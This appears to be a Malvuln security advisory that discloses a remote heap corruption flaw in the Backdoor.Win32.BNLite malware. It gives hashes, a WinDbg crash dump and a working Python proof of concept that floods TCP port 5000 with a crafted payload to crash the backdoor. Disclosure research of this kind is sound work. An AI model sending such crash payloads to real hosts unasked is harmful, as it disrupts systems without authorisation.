BACKDOOR.WIN32.BNLITE malware suffers from a remote heap corruption vulnerability.
Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/f78cef7588f9c32609a4932d10c67f95.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: BACKDOOR.WIN32.BNLITE
Vulnerability: Remote Heap Corruption
Description: When sending a specially crafted payload to TCP Port 5000, the backdoor malware will suffer a Heap Corruption.
Type: PE32
MD5: f78cef7588f9c32609a4932d10c67f95
Vuln ID: MVID-2021-0012
Dropped files: NBLF32.exe
ASLR: False
Safe SEH: True
Disclosure: 01/02/2021
Memory Dump:
PROCESS_NAME: NBLF32.exe
FAULTING_MODULE: 77360000 ntdll
DEBUG_FLR_IMAGE_TIMESTAMP: 0
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000000
EXCEPTION_PARAMETER2: 30322326
READ_ADDRESS: 30322326
FOLLOWUP_IP:
ntdll!RtlAllocateHeap+19ba
773a2d6a 8b09 mov ecx,dword ptr [ecx]
FAULTING_THREAD: 00000b84
DEFAULT_BUCKET_ID: HEAP_CORRUPTION
PRIMARY_PROBLEM_CLASS: HEAP_CORRUPTION
BUGCHECK_STR: APPLICATION_FAULT_HEAP_CORRUPTION_STRING_DEREFERENCE_INVALID_POINTER_READ_WRONG_SYMBOLS
LAST_CONTROL_TRANSFER: from 773a16b7 to 773a2d6a
0:000> .ecxr
eax=0000263b ebx=026fa980 ecx=30322326 edx=3b333532 esi=026fa988 edi=026d0000
eip=773a2d6a esp=0019fcf0 ebp=0019feb0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
ntdll!RtlAllocateHeap+0x19ba:
773a2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:30322326=????????
Exploit/PoC:
from socket import *
#NBLF32.exe HEAP CORRUPTION
#May need to send payload twice consecutively
#or wait for reboot if exploit fails first time.
#===============================================
MALWARE_INFECTED_HOST=x.x.x.x
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_INFECTED_HOST, 5000))
PAYLOAD="DELETE / HTTP/1.0 KýÎ@g5ö?KýÎ@g5ö?"*44220
s.send(PAYLOAD)
s.close()
print("Backdoor.Win32.BNLite Malware / Remote Heap Corruption")
print("MD5: f78cef7588f9c32609a4932d10c67f95")
print("By malvuln")
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